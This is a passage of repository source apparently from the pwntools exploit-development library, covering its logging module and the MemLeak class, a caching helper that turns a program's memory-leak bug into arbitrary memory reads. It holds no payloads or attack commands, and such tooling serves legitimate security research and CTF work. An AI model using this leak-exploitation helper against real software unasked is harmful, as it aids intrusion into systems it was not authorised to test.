status, *args, **kwargs):\n        \"\"\"status(status, *args, **kwargs)\n\n        Logs a status update for the running job.\n\n        If the progress logger is animated the status line will be updated in\n        place.\n\n        Status updates are throttled at one update per 100ms.\n        \"\"\"\n        now = time.time()\n        if (now - self.last_status) > self.rate:\n            self.last_status = now\n            self._log(status, args, kwargs, 'status')\n\n    def success(self, status = 'Done', *args, **kwargs):\n        \"\"\"success(status = 'Done', *args, **kwargs)\n\n        Logs that the running job succeeded.  No further status updates are\n        allowed.\n\n        If the Logger is animated, the animation is stopped.\n        \"\"\"\n        self._log(status, args, kwargs, 'success')\n        self._stopped = True\n\n    def failure(self, status = 'Failed', *args, **kwargs):\n        \"\"\"failure(message)\n\n        Logs that the running job failed.  No further status updates are\n        allowed.\n\n        If the Logger is animated, the animation is stopped.\n        \"\"\"\n        self._log(status, args, kwargs, 'failure')\n        self._stopped = True\n\n    def __enter__(self):\n        return self\n\n    def __exit__(self, exc_typ, exc_val, exc_tb):\n        # if the progress logger is already stopped these are no-ops\n        if exc_typ is None:\n            self.success()\n        else:\n            self.failure()\n\nclass Logger(object):\n    \"\"\"\n    A class akin to the :class:`logging.LoggerAdapter` class.  All public\n    methods defined on :class:`logging.Logger` instances are defined on this\n    class.\n\n    Also adds some ``pwnlib`` flavor:\n\n    * :meth:`progress` (alias :meth:`waitfor`)\n    * :meth:`success`\n    * :meth:`failure`\n    * :meth:`indented`\n    * :meth:`info_once`\n    * :meth:`warning_once` (alias :meth:`warn_once`)\n\n    Adds ``pwnlib``-specific information for coloring, indentation and progress\n    logging via log records ``extra`` field.\n\n    Loggers instantiated with :func:`getLogger` will be of this class.\n    \"\"\"\n    _one_time_infos    = set()\n    _one_time_warnings = set()\n\n    def __init__(self, logger=None):\n        if logger is None:\n            # This is a minor hack to permit user-defined classes which inherit\n            # from a tube (which do not actually reside in the pwnlib library)\n            # to receive logging abilities that behave as they would expect from\n            # the rest of the library\n            module = self.__module__\n            if not module.startswith('pwnlib'):\n                module = 'pwnlib.' + module\n            # - end hack -\n\n            logger_name = '%s.%s.%s' % (module, self.__class__.__name__, id(self))\n            logger = logging.getLogger(logger_name)\n\n        self._logger = logger\n\n    def _getlevel(self, levelString):\n        if isinstance(levelString, int):\n            return levelString\n        return logging._levelNames[levelString.upper()]\n\n    def _log(self, level, msg, args, kwargs, msgtype, progress = None):\n        # Logs are strings, not bytes.  Handle Python3 bytes() objects.\n        msg = _need_text(msg)\n\n        extra = kwargs.get('extra', {})\n        extra.setdefault('pwnlib_msgtype', msgtype)\n        extra.setdefault('pwnlib_progress', progress)\n        kwargs['extra'] = extra\n        self._logger.log(level, msg, *args, **kwargs)\n\n    def progress(self, message, status = '', *args, **kwargs):\n        \"\"\"progress(message, status = '', *args, level = logging.INFO, **kwargs) -> Progress\n\n        Creates a new progress logger which creates log records with log level\n        `level`.\n\n        Progress status can be updated using :meth:`Progress.status` and stopped\n        using :meth:`Progress.success` or :meth:`Progress.failure`.\n\n        If `term.term_mode` is enabled the progress logger will be animated.\n\n        The progress manager also functions as a context manager.  Using context\n        managers ensures that animations stop even if an exception is raised.\n\n        .. code-block:: python\n\n           with log.progress('Trying something...') as p:\n               for i in range(10):\n                   p.status(\"At %i\" % i)\n                   time.sleep(0.5)\n               x = 1/0\n        \"\"\"\n        level = self._getlevel(kwargs.pop('level', logging.INFO))\n        return Progress(self, message, status, level, args, kwargs)\n\n    def waitfor(self, *args, **kwargs):\n        \"\"\"Alias for :meth:`progress`.\"\"\"\n        return self.progress(*args, **kwargs)\n\n    def indented(self, message, *args, **kwargs):\n        \"\"\"indented(message, *args, level = logging.INFO, **kwargs)\n\n        Log a message but don't put a line prefix on it.\n\n        Arguments:\n            level(int): Alternate log level at which to set the indented\n                        message.  Defaults to :const:`logging.INFO`.\n        \"\"\"\n        level = self._getlevel(kwargs.pop('level', logging.INFO))\n        self._log(level, message, args, kwargs, 'indented')\n\n    def success(self, message, *args, **kwargs):\n        \"\"\"success(message, *args, **kwargs)\n\n        Logs a success message.\n        \"\"\"\n        self._log(logging.INFO, message, args, kwargs, 'success')\n\n    def failure(self, message, *args, **kwargs):\n        \"\"\"failure(message, *args, **kwargs)\n\n        Logs a failure message.\n        \"\"\"\n        self._log(logging.INFO, message, args, kwargs, 'failure')\n\n    def info_once(self, message, *args, **kwargs):\n        \"\"\"info_once(message, *args, **kwargs)\n\n        Logs an info message.  The same message is never printed again.\n        \"\"\"\n        m = message % args\n        if m not in self._one_time_infos:\n            if self.isEnabledFor(logging.INFO):\n                self._one_time_infos.add(m)\n            self._log(logging.INFO, message, args, kwargs, 'info_once')\n\n    def warning_once(self, message, *args, **kwargs):\n        \"\"\"warning_once(message, *args, **kwargs)\n\n        Logs a warning message.  The same message is never printed again.\n        \"\"\"\n        m = message % args\n        if m not in self._one_time_warnings:\n            if self.isEnabledFor(logging.WARNING):\n                self._one_time_warnings.add(m)\n            self._log(logging.WARNING, message, args, kwargs, 'warning_once')\n\n    def warn_once(self, *args, **kwargs):\n        \"\"\"Alias for :meth:`warning_once`.\"\"\"\n        return self.warning_once(*args, **kwargs)\n\n    # logging functions also exposed by `logging.Logger`\n\n    def debug(self, message, *args, **kwargs):\n        \"\"\"debug(message, *args, **kwargs)\n\n        Logs a debug message.\n        \"\"\"\n        self._log(logging.DEBUG, message, args, kwargs, 'debug')\n\n    def info(self, message, *args, **kwargs):\n        \"\"\"info(message, *args, **kwargs)\n\n        Logs an info message.\n        \"\"\"\n        self._log(logging.INFO, message, args, kwargs, 'info')\n\n    def hexdump(self, message, *args, **kwargs):\n        # cyclic dependencies FTW!\n        # TODO: Move pwnlib.util.fiddling.hexdump into a new module.\n        import pwnlib.util.fiddling\n\n        self.info(pwnlib.util.fiddling.hexdump(message, *args, **kwargs))\n\n    def maybe_hexdump(self, message, *args, **kwargs):\n        \"\"\"maybe_hexdump(self, message, *args, **kwargs)\n\n        Logs a message using indented. Repeated single byte is compressed, and\n        unprintable message is hexdumped.\n        \"\"\"\n        if len(set(message)) == 1 and len(message) > 1:\n            self.indented('%r * %#x' % (message[:1], len(message)), *args, **kwargs)\n        elif len(message) == 1 or all(c in string.printable.encode() for c in message):\n            for line in message.splitlines(True):\n                self.indented(repr(line), *args, **kwargs)\n        else:\n            import pwnlib.util.fiddling\n            self.indented(pwnlib.util.fiddling.hexdump(message), *args, **kwargs)\n\n    def warning(self, message, *args, **kwargs):\n        \"\"\"warning(message, *args, **kwargs)\n\n        Logs a warning message.\n        \"\"\"\n        self._log(logging.WARNING, message, args, kwargs, 'warning')\n\n    def warn(self, *args, **kwargs):\n        \"\"\"Alias for :meth:`warning`.\"\"\"\n        return self.warning(*args, **kwargs)\n\n    def error(self, message, *args, **kwargs):\n        \"\"\"error(message, *args, **kwargs)\n\n        To be called outside an exception handler.\n\n        Logs an error message, then raises a ``PwnlibException``.\n        \"\"\"\n        self._log(logging.ERROR, message, args, kwargs, 'error')\n        raise PwnlibException(message % args)\n\n    def exception(self, message, *args, **kwargs):\n        \"\"\"exception(message, *args, **kwargs)\n\n        To be called from an exception handler.\n\n        Logs a error message, then re-raises the current exception.\n        \"\"\"\n        kwargs[\"exc_info\"] = 1\n        self._log(logging.ERROR, message, args, kwargs, 'exception')\n        raise\n\n    def critical(self, message, *args, **kwargs):\n        \"\"\"critical(message, *args, **kwargs)\n\n        Logs a critical message.\n        \"\"\"\n        self._log(logging.CRITICAL, message, args, kwargs, 'critical')\n\n    def log(self, level, message, *args, **kwargs):\n        \"\"\"log(level, message, *args, **kwargs)\n\n        Logs a message with log level `level`.  The ``pwnlib`` formatter will\n        use the default :mod:`logging` formater to format this message.\n        \"\"\"\n        self._log(level, message, args, kwargs, None)\n\n    def isEnabledFor(self, level):\n        \"\"\"isEnabledFor(level) -> bool\n\n        See if the underlying logger is enabled for the specified level.\n        \"\"\"\n        effectiveLevel = self._logger.getEffectiveLevel()\n\n        if effectiveLevel == 1:\n            effectiveLevel = context.log_level\n        return effectiveLevel <= level\n\n    def setLevel(self, level):\n        \"\"\"setLevel(level)\n\n        Set the logging level for the underlying logger.\n        \"\"\"\n        with context.local(log_level=level):\n            self._logger.setLevel(context.log_level)\n\n    def addHandler(self, handler):\n        \"\"\"addHandler(handler)\n\n        Add the specified handler to the underlying logger.\n        \"\"\"\n        self._logger.addHandler(handler)\n\n    def removeHandler(self, handler):\n        \"\"\"removeHandler(handler)\n\n        Remove the specified handler from the underlying logger.\n        \"\"\"\n        self._logger.removeHandler(handler)\n\n    @property\n    def level(self):\n        return self._logger.level\n    @level.setter\n    def level(self, value):\n        with context.local(log_level=value):\n            self._logger.level = context.log_level\n\n\nclass Handler(logging.StreamHandler):\n    \"\"\"\n    A custom handler class.  This class will report whatever\n    :data:`context.log_level` is currently set to as its log level.\n\n    If :data:`term.term_mode` is enabled log records originating from a progress\n    logger will not be emitted but rather an animated progress line will be\n    created.\n\n    An instance of this handler is added to the ``'pwnlib'`` logger.\n    \"\"\"\n    @property\n    def stream(self):\n        return context.log_console\n    @stream.setter\n    def stream(self, value):\n        pass\n    def emit(self, record):\n        \"\"\"\n        Emit a log record or create/update an animated progress logger\n        depending on whether :data:`term.term_mode` is enabled.\n        \"\"\"\n        # We have set the root 'pwnlib' logger to have a logLevel of 1,\n        # when logging has been enabled via install_default_handler.\n        #\n        # If the level is 1, we should only process the record if\n        # context.log_level is less than the record's log level.\n        #\n        # If the level is not 1, somebody else expressly set the log\n        # level somewhere on the tree, and we should use that value.\n        level = logging.getLogger(record.name).getEffectiveLevel()\n        if level == 1:\n            level = context.log_level\n        if level > record.levelno:\n            return\n\n        progress = getattr(record, 'pwnlib_progress', None)\n\n        # if the record originates from a `Progress` object and term handling\n        # is enabled we can have animated spinners! so check that\n        # Don't show spinners if the output is being redirected\n        if progress is None or not term.term_mode or not os.path.sameopenfile(context.log_console.fileno(), term.term.fd.fileno()):\n            super(Handler, self).emit(record)\n            return\n\n        # yay, spinners!\n\n        # since we want to be able to update the spinner we overwrite the\n        # message type so that the formatter doesn't output a prefix symbol\n        msgtype = record.pwnlib_msgtype\n        record.pwnlib_msgtype = 'animated'\n        msg = \"%s\\n\" % self.format(record)\n\n        # we enrich the `Progress` object to keep track of the spinner\n        if not hasattr(progress, '_spinner_handle'):\n            spinner_handle = term.output('[x] ')\n            msg_handle = term.output(msg)\n            stop = threading.Event()\n            def spin():\n                '''Wheeeee!'''\n                state = 0\n                states = random.choice(spinners.spinners)\n                while True:\n                    prefix = '[%s] ' % _spinner_style(states[state])\n                    spinner_handle.update(prefix)\n                    state = (state + 1) % len(states)\n                    if stop.wait(0.1):\n                        break\n            t = Thread(target = spin)\n            t.daemon = True\n            t.start()\n            progress._spinner_handle = spinner_handle\n            progress._msg_handle = msg_handle\n            progress._stop_event = stop\n            progress._spinner_thread = t\n        else:\n            progress._msg_handle.update(msg)\n\n        # if the message type was not a status message update, then we should\n        # stop the spinner\n        if msgtype != 'status':\n            progress._stop_event.set()\n            progress._spinner_thread.join()\n            style, symb = _msgtype_prefixes[msgtype]\n            prefix = '[%s] ' % style(symb)\n            progress._spinner_handle.update(prefix)\n\nclass Formatter(logging.Formatter):\n    \"\"\"\n    Logging formatter which performs custom formatting for log records\n    containing the ``'pwnlib_msgtype'`` attribute.  Other records are formatted\n    using the `logging` modules default formatter.\n\n    If ``'pwnlib_msgtype'`` is set, it performs the following actions:\n\n    * A prefix looked up in `_msgtype_prefixes` is prepended to the message.\n    * The message is prefixed such that it starts on column four.\n    * If the message spans multiple lines they are split, and all subsequent\n      lines are indented.\n\n    This formatter is used by the handler installed on the ``'pwnlib'`` logger.\n    \"\"\"\n\n    # Indentation from the left side of the terminal.\n    # All log messages will be indented at list this far.\n    indent    = '    '\n\n    # Newline, followed by an indent.  Used to wrap multiple lines.\n    nlindent  = '\\n' + indent\n\n    def format(self, record):\n        # use the default formatter to actually format the record\n        msg = super(Formatter, self).format(record)\n\n        # then put on a prefix symbol according to the message type\n\n        msgtype = getattr(record, 'pwnlib_msgtype', None)\n\n        # if 'pwnlib_msgtype' is not set (or set to `None`) we just return the\n        # message as it is\n        if msgtype is None:\n            return msg\n\n        if msgtype in _msgtype_prefixes:\n            style, symb = _msgtype_prefixes[msgtype]\n            prefix = '[%s] ' % style(symb)\n        elif msgtype == 'indented':\n            prefix = self.indent\n        elif msgtype == 'animated':\n            # the handler will take care of updating the spinner, so we will\n            # not include it here\n            prefix = ''\n        else:\n            # this should never happen\n            prefix = '[?] '\n\n        msg = prefix + msg\n        msg = self.nlindent.join(msg.splitlines())\n        return msg\n\ndef _need_text(s):\n    # circular import wrapper\n    global _need_text\n    from pwnlib.util.packing import _need_text\n    return _need_text(s, 2)\n\n# we keep a dictionary of loggers such that multiple calls to `getLogger` with\n# the same name will return the same logger\ndef getLogger(name):\n    return Logger(logging.getLogger(name))\n\nclass LogfileHandler(logging.FileHandler):\n    def __init__(self):\n        super(LogfileHandler, self).__init__('', delay=1)\n    @property\n    def stream(self):\n        return context.log_file\n    @stream.setter\n    def stream(self, value):\n        pass\n    def handle(self, *a, **kw):\n        if self.stream.name is not None:\n            super(LogfileHandler, self).handle(*a, **kw)\n\niso_8601 = '%Y-%m-%dT%H:%M:%S'\nfmt      = '%(asctime)s:%(levelname)s:%(name)s:%(message)s'\nlog_file = LogfileHandler()\nlog_file.setFormatter(logging.Formatter(fmt, iso_8601))\n\n#\n# The root 'pwnlib' logger is declared here.  To change the target of all\n# 'pwntools'-specific logging, only this logger needs to be changed.\n#\n# Logging cascades upward through the hierarchy,\n# so the only point that should ever need to be\n# modified is the root 'pwnlib' logger.\n#\n# For example:\n#     map(rootlogger.removeHandler, rootlogger.handlers)\n#     logger.addHandler(myCoolPitchingHandler)\n#\nrootlogger = getLogger('pwnlib')\nconsole   = Handler()\nformatter = Formatter()\nconsole.setFormatter(formatter)\n\ndef install_default_handler():\n    '''install_default_handler()\n\n    Instantiates a :class:`Handler` and :class:`Formatter` and installs them for\n    the ``pwnlib`` root logger.  This function is automatically called from when\n    importing :mod:`pwn`.\n    '''\n    logger         = logging.getLogger('pwnlib')\n\n    if console not in logger.handlers:\n        logger.addHandler(console)\n        logger.addHandler(log_file)\n\n    logger.setLevel(1)\n"
  },
  {
    "path": "pwnlib/memleak.py",
    "content": "import ctypes\nimport functools\nimport string\n\nfrom pwnlib.context import context\nfrom pwnlib.log import getLogger\nfrom pwnlib.util.packing import pack, _p8lu\nfrom pwnlib.util.packing import unpack\n\nlog = getLogger(__name__)\n\n__all__ = ['MemLeak', 'RelativeMemLeak']\n\nclass MemLeak(object):\n    \"\"\"MemLeak is a caching and heuristic tool for exploiting memory leaks.\n\n    It can be used as a decorator, around functions of the form:\n\n        def some_leaker(addr):\n            ...\n            return data_as_string_or_None\n\n    It will cache leaked memory (which requires either non-randomized static\n    data or a continouous session). If required, dynamic or known data can be\n    set with the set-functions, but this is usually not required. If a byte\n    cannot be recovered, it will try to leak nearby bytes in the hope that the\n    byte is recovered as a side-effect.\n\n    Arguments:\n        f (function): The leaker function.\n        search_range (int): How many bytes to search backwards in case an address does not work.\n        reraise (bool): Whether to reraise call :func:`pwnlib.log.warning` in case the leaker function throws an exception.\n\n    Example:\n\n    .. doctest::\n        :options: +POSIX +TODO\n\n        >>> import pwnlib\n        >>> binsh = pwnlib.util.misc.read('/bin/sh')\n        >>> @pwnlib.memleak.MemLeak\n        ... def leaker(addr):\n        ...     print(\"leaking 0x%x\" % addr)\n        ...     return binsh[addr:addr+4]\n        >>> leaker.s(0)[:4]\n        leaking 0x0\n        leaking 0x4\n        b'\\\\x7fELF'\n        >>> leaker[:4]\n        b'\\\\x7fELF'\n        >>> hex(leaker.d(0))\n        '0x464c457f'\n        >>> hex(leaker.clearb(1))\n        '0x45'\n        >>> hex(leaker.d(0))\n        leaking 0x1\n        '0x464c457f'\n        >>> @pwnlib.memleak.MemLeak\n        ... def leaker_nonulls(addr):\n        ...     print(\"leaking 0x%x\" % addr)\n        ...     if addr & 0xff == 0:\n        ...         return None\n        ...     return binsh[addr:addr+4]\n        >>> leaker_nonulls.d(0) is None\n        leaking 0x0\n        True\n        >>> leaker_nonulls[0x100:0x104] == binsh[0x100:0x104]\n        leaking 0x100\n        leaking 0xff\n        leaking 0x103\n        True\n\n        >>> memory = {-4+i: c.encode() for i,c in enumerate('wxyzABCDE')}\n        >>> def relative_leak(index):\n        ...     return memory.get(index, None)\n        >>> leak = pwnlib.memleak.MemLeak(relative_leak, relative = True)\n        >>> leak[-1:2]\n        b'zAB'\n    \"\"\"\n    def __init__(self, f, search_range = 20, reraise = True, relative = False):\n        self.leak = f\n        self.search_range = search_range\n        self.reraise = reraise\n        self.relative = relative\n\n        # Map of address: byte for all bytes received\n        self.cache = {}\n\n        functools.update_wrapper(self, f)\n\n    def __repr__(self):\n        return \"%s.%s(%r, search_range=%i, reraise=%s)\" % (\n            self.__class__.__module__,\n            self.__class__.__name__,\n            self.leak,\n            self.search_range,\n            self.reraise\n        )\n\n    def __call__(self, *a, **kw):\n        return self.leak(*a, **kw)\n\n    def struct(self, address, struct):\n        \"\"\"struct(address, struct) => structure object\n        Leak an entire structure.\n        Arguments:\n            address(int):  Addess of structure in memory\n            struct(class): A ctypes structure to be instantiated with leaked data\n        Return Value:\n            An instance of the provided struct class, with the leaked data decoded\n\n        Examples:\n\n            >>> @pwnlib.memleak.MemLeak\n            ... def leaker(addr):\n            ...     return b\"A\"\n            >>> e = leaker.struct(0, pwnlib.elf.Elf32_Phdr)\n            >>> hex(e.p_paddr)\n            '0x41414141'\n\n        \"\"\"\n        size = ctypes.sizeof(struct)\n        data = self.n(address, size)\n        obj = struct.from_buffer_copy(data)\n        return obj\n\n    def field(self, address, obj):\n        \"\"\"field(address, field) => a structure field.\n\n        Leak a field from a structure.\n\n        Arguments:\n            address(int): Base address to calculate offsets from\n            field(obj):   Instance of a ctypes field\n\n        Return Value:\n            The type of the return value will be dictated by\n            the type of ``field``.\n        \"\"\"\n        size   = obj.size\n        offset = obj.offset\n        data   = self.n(address + offset, size)\n        if not data:\n            return None\n        return unpack(data, size*8)\n\n    def field_compare(self, address, obj, expected):\n        \"\"\"field_compare(address, field, expected) ==> bool\n\n        Leak a field from a structure, with an expected value.\n        As soon as any mismatch is found, stop leaking the structure.\n\n        Arguments:\n            address(int): Base address to calculate offsets from\n            field(obj):   Instance of a ctypes field\n            expected(int,bytes): Expected value\n\n        Return Value:\n            The type of the return value will be dictated by\n            the type of ``field``.\n        \"\"\"\n\n        if isinstance(expected, int):\n            expected = pack(expected, bytes=obj.size)\n        elif not isinstance(expected, bytes):\n            raise TypeError(\"Expected value must be an int or bytes\")\n\n        assert obj.size == len(expected)\n\n        return self.compare(address + obj.offset, expected)\n\n    def _leak(self, addr, n, recurse=True):\n        \"\"\"_leak(addr, n) => str\n\n        Leak ``n`` consecutive bytes starting at ``addr``.\n\n        Returns:\n            A string of length ``n``, or :const:`None`.\n        \"\"\"\n        if not self.relative and addr < 0:\n            return None\n\n        addresses = [addr+i for i in range(n)]\n\n        for address in addresses:\n            # Cache hit\n            if address in self.cache:\n                continue\n\n            # Cache miss, get the data from the leaker\n            data = None\n            try:\n                data = self.leak(address)\n            except Exception as e:\n                if self.reraise:\n                    raise\n\n            if data:\n                for i,byte in enumerate(bytearray(data)):\n                    self.cache[address+i] = _p8lu(byte)\n\n            # We could not leak this particular byte, search backwards\n            # to see if another request will satisfy it\n            elif recurse:\n                for i in range(1, self.search_range):\n                    data = self._leak(address-i, i+1, False)\n                    if address in self.cache:\n                        break\n                else:\n                    return None\n\n        # Ensure everything is in the cache\n        if not all(a in self.cache for a in addresses):\n            return None\n\n        # Cache is filled, satisfy the request\n        return b''.join(self.cache[addr+i] for i in range(n))\n\n    def raw(self, addr, numb):\n        \"\"\"raw(addr, numb) -> list\n\n        Leak `numb` bytes at `addr`\"\"\"\n        return [self._leak(a, 1) for a in range(addr, addr+numb)]\n\n\n    def _b(self, addr, ndx, size):\n        addr += ndx * size\n        data = self._leak(addr, size)\n\n        if not data:\n            return None\n\n        return unpack(data, 8*size)\n\n    def b(self, addr, ndx = 0):\n        \"\"\"b(addr, ndx = 0) -> int\n\n        Leak byte at ``((uint8_t*) addr)[ndx]``\n\n        Examples:\n\n            >>> import string\n            >>> data = string.ascii_lowercase.encode()\n            >>> l = MemLeak(lambda a: data[a:a+2], reraise=False)\n            >>> l.b(0) == ord('a')\n            True\n            >>> l.b(25) == ord('z')\n            True\n            >>> l.b(26) is None\n            True\n        \"\"\"\n        return self._b(addr, ndx, 1)\n\n    def w(self, addr, ndx = 0):\n        \"\"\"w(addr, ndx = 0) -> int\n\n        Leak word at ``((uint16_t*) addr)[ndx]``\n\n        Examples:\n\n            >>> import string\n            >>> data = string.ascii_lowercase.encode()\n            >>> l = MemLeak(lambda a: data[a:a+4], reraise=False)\n            >>> l.w(0) == unpack(b'ab', 16)\n            True\n            >>> l.w(24) == unpack(b'yz', 16)\n            True\n            >>> l.w(25) is None\n            True\n        \"\"\"\n        return self._b(addr, ndx, 2)\n\n    def d(self, addr, ndx = 0):\n        \"\"\"d(addr, ndx = 0) -> int\n\n        Leak dword at ``((uint32_t*) addr)[ndx]``\n\n        Examples:\n\n            >>> import string\n            >>> data = string.ascii_lowercase.encode()\n            >>> l = MemLeak(lambda a: data[a:a+8], reraise=False)\n            >>> l.d(0) == unpack(b'abcd', 32)\n            True\n            >>> l.d(22) == unpack(b'wxyz', 32)\n            True\n            >>> l.d(23) is None\n            True\n        \"\"\"\n        return self._b(addr, ndx, 4)\n\n    def q(self, addr, ndx = 0):\n        \"\"\"q(addr, ndx = 0) -> int\n\n        Leak qword at ``((uint64_t*) addr)[ndx]``\n\n        Examples:\n\n            >>> import string\n            >>> data = string.ascii_lowercase.encode()\n            >>> l = MemLeak(lambda a: data[a:a+16], reraise=False)\n            >>> l.q(0) == unpack(b'abcdefgh', 64)\n            True\n            >>> l.q(18) == unpack(b'stuvwxyz', 64)\n            True\n            >>> l.q(19) is None\n            True\n        \"\"\"\n        return self._b(addr, ndx, 8)\n\n    def p(self, addr, ndx = 0):\n        \"\"\"p(addr, ndx = 0) -> int\n\n        Leak a pointer-width value at ``((void**) addr)[ndx]``\n        \"\"\"\n        return self._b(addr, ndx, context.bytes)\n\n    def s(self, addr):\n        r\"\"\"s(addr) -> str\n\n        Leak bytes at `addr` until failure or a nullbyte is found\n\n        Return:\n            A string, without a NULL terminator.\n            The returned string will be empty if the first byte is\n            a NULL terminator, or if the first byte could not be\n            retrieved.\n\n        Examples:\n\n            >>> data = b\"Hello\\x00World\"\n            >>> l = MemLeak(lambda a: data[a:a+4], reraise=False)\n            >>> l.s(0) == b\"Hello\"\n            True\n            >>> l.s(5) == b\"\"\n            True\n            >>> l.s(6) == b\"World\"\n            True\n            >>> l.s(999) == b\"\"\n            True\n        \"\"\"\n\n        # This relies on the behavior of _leak to fill the cache\n        orig = addr\n        while self.b(addr):\n            addr += 1\n        return self._leak(orig, addr-orig)\n\n    def n(self, addr, numb):\n        \"\"\"n(addr, ndx = 0) -> str\n\n        Leak `numb` bytes at `addr`.\n\n        Returns:\n            A string with the leaked bytes, will return `None` if any are missing\n\n        Examples:\n\n            >>> import string\n            >>> data = string.ascii_lowercase.encode()\n            >>> l = MemLeak(lambda a: data[a:a+4], reraise=False)\n            >>> l.n(0,1) == b'a'\n            True\n            >>> l.n(0,26) == data\n            True\n            >>> len(l.n(0,26)) == 26\n            True\n            >>> l.n(0,27) is None\n            True\n        \"\"\"\n        return self._leak(addr, numb) or None\n\n\n    def _clear(self, addr, ndx, size):\n        addr += ndx * size\n        data = [self.cache.pop(x, None) for x in range(addr, addr+size)]\n\n        if not all(data):\n            return None\n\n        return unpack(b''.join(data), size*8)\n\n    def clearb(self, addr, ndx = 0):\n        \"\"\"clearb(addr, ndx = 0) -> int\n\n        Clears byte at ``((uint8_t*)addr)[ndx]`` from the cache and\n        returns the removed value or `None` if the address was not completely set.\n\n        Examples:\n\n            >>> l = MemLeak(lambda a: None)\n            >>> l.cache = {0:b'a'}\n            >>> l.n(0,1) == b'a'\n            True\n            >>> l.clearb(0) == unpack(b'a', 8)\n            True\n            >>> l.cache\n            {}\n            >>> l.clearb(0) is None\n            True\n        \"\"\"\n        return self._clear(addr, ndx, 1)\n\n    def clearw(self, addr, ndx = 0):\n        \"\"\"clearw(addr, ndx = 0) -> int\n\n        Clears word at ``((uint16_t*)addr)[ndx]`` from the cache and\n        returns the removed value or `None` if the address was not completely set.\n\n        Examples:\n\n            >>> l = MemLeak(lambda a: None)\n            >>> l.cache = {0: b'a', 1: b'b'}\n            >>> l.n(0, 2) == b'ab'\n            True\n            >>> l.clearw(0) == unpack(b'ab', 16)\n            True\n            >>> l.cache\n            {}\n        \"\"\"\n        return self._clear(addr, ndx, 2)\n\n    def cleard(self, addr, ndx = 0):\n        \"\"\"cleard(addr, ndx = 0) -> int\n\n        Clears dword at ``((uint32_t*)addr)[ndx]`` from the cache and\n        returns the removed value or `None` if the address was not completely set.\n\n        Examples:\n\n            >>> l = MemLeak(lambda a: None)\n            >>> l.cache = {0: b'a', 1: b'b', 2: b'c', 3: b'd'}\n            >>> l.n(0, 4) == b'abcd'\n            True\n            >>> l.cleard(0) == unpack(b'abcd', 32)\n            True\n            >>> l.cache\n            {}\n        \"\"\"\n        return self._clear(addr, ndx, 4)\n\n    def clearq(self, addr, ndx = 0):\n        \"\"\"clearq(addr, ndx = 0) -> int\n\n        Clears qword at ``((uint64_t*)addr)[ndx]`` from the cache and\n        returns the removed value or `None` if the address was not completely set.\n\n        Examples:\n\n            >>> c = MemLeak(lambda addr: b'')\n            >>> c.cache = {x:b'x' for x in range(0x100, 0x108)}\n            >>> c.clearq(0x100) == unpack(b'xxxxxxxx', 64)\n            True\n            >>> c.cache == {}\n            True\n        \"\"\"\n        return self._clear(addr, ndx, 8)\n\n\n    def _set(self, addr, val, ndx, size):\n        addr += ndx * size\n        for i,b in enumerate(bytearray(pack(val, size*8))):\n            self.cache[addr+i] = _p8lu(b)\n\n    def setb(self, addr, val, ndx = 0):\n        \"\"\"Sets byte at ``((uint8_t*)addr)[ndx]`` to `val` in the cache.\n\n        Examples:\n\n            >>> l = MemLeak(lambda x: b'')\n            >>> l.cache == {}\n            True\n            >>> l.setb(33, 0x41)\n            >>> l.cache == {33: b'A'}\n            True\n        \"\"\"\n        return self._set(addr, val, ndx, 1)\n\n    def setw(self, addr, val, ndx = 0):\n        r\"\"\"Sets word at ``((uint16_t*)addr)[ndx]`` to `val` in the cache.\n\n        Examples:\n\n            >>> l = MemLeak(lambda x: b'')\n            >>> l.cache == {}\n            True\n            >>> l.setw(33, 0x41)\n            >>> l.cache == {33: b'A', 34: b'\\x00'}\n            True\n        \"\"\"\n        return self._set(addr, val, ndx, 2)\n\n    def setd(self, addr, val, ndx = 0):\n        \"\"\"Sets dword at ``((uint32_t*)addr)[ndx]`` to `val` in the cache.\n\n        Examples:\n            See :meth:`setw`.\n        \"\"\"\n        return self._set(addr, val, ndx, 4)\n\n    def setq(self, addr, val, ndx = 0):\n        \"\"\"Sets qword at ``((uint64_t*)addr)[ndx]`` to `val` in the cache.\n\n        Examples:\n            See :meth:`setw`.\n        \"\"\"\n        return self._set(addr, val, ndx, 8)\n\n    def sets(self, addr, val, null_terminate = True):\n        r\"\"\"Set known string at `addr`, which will be optionally be null-terminated\n\n        Note that this method is a bit dumb about how it handles the data.\n        It will null-terminate the data, but it will not stop at the first null.\n\n        Examples:\n\n            >>> l = MemLeak(lambda x: b'')\n            >>> l.cache == {}\n            True\n            >>> l.sets(0, b'H\\x00ello')\n            >>> l.cache == {0: b'H', 1: b'\\x00', 2: b'e', 3: b'l', 4: b'l', 5: b'o', 6: b'\\x00'}\n            True\n        \"\"\"\n        if null_terminate:\n            val += b'\\x00'\n\n        for i,b in enumerate(bytearray(val)):\n            self.cache[addr+i] = _p8lu(b)\n\n    def __getitem__(self, item):\n        if isinstance(item, slice):\n            start = item.start or 0\n            stop  = item.stop\n            step  = item.step\n        else:\n            start, stop, step = (item, item+1, 1)\n\n        if None in (stop, start):\n            log.error(\"Cannot perform unbounded leaks\")\n\n        return self.n(start, stop-start)[::step]\n\n    def compare(self, address, bts):\n        for i, byte in enumerate(bytearray(bts)):\n            if self.n(address + i, 1) != _p8lu(byte):\n                return False\n        return True\n\n    @staticmethod\n    def NoNulls(function):\n        \"\"\"Wrapper for leak functions such that addresses which contain NULL\n        bytes are not leaked.\n\n        This is useful if the address which is used for the leak is read in via\n        a string-reading function like ``scanf(\"%s\")`` or smilar.\n        \"\"\"\n\n        @functools.wraps(function, updated=[])\n        def null_wrapper(address, *a, **kw):\n            if b'\\x00' in pack(address):\n                log.info('Ignoring leak request for %#x: Contains NULL bytes' % address)\n                return None\n            return function(address, *a, **kw)\n\n        return MemLeak(null_wrapper)\n\n    @staticmethod\n    def NoWhitespace(function):\n        \"\"\"Wrapper for leak functions such that addresses which contain whitespace\n        bytes are not leaked.\n\n        This is useful if the address which is used for the leak is read in via\n        e.g. ``scanf()``.\n        \"\"\"\n\n        @functools.wraps(function, updated=[])\n        def whitespace_wrapper(address, *a, **kw):\n            if set(pack(address)) & set(string.whitespace.encode()):\n                log.info('Ignoring leak request for %#x: Contains whitespace' % address)\n                return None\n            return function(address, *a, **kw)\n\n        return MemLeak(whitespace_wrapper)\n\n    @staticmethod\n    def NoNewlines(function):\n        \"\"\"Wrapper for leak functions such that addresses which contain newline\n        bytes are not leaked.\n\n        This is useful if the address which is used for the leak is provided by\n        e.g. ``fgets()``.\n        \"\"\"\n\n        @functools.wraps(function, updated=[])\n        def whitespace_wrapper(address, *a, **kw):\n            if b'\\n' in pack(address):\n                log.info('Ignoring leak request for %#x: Contains newlines' 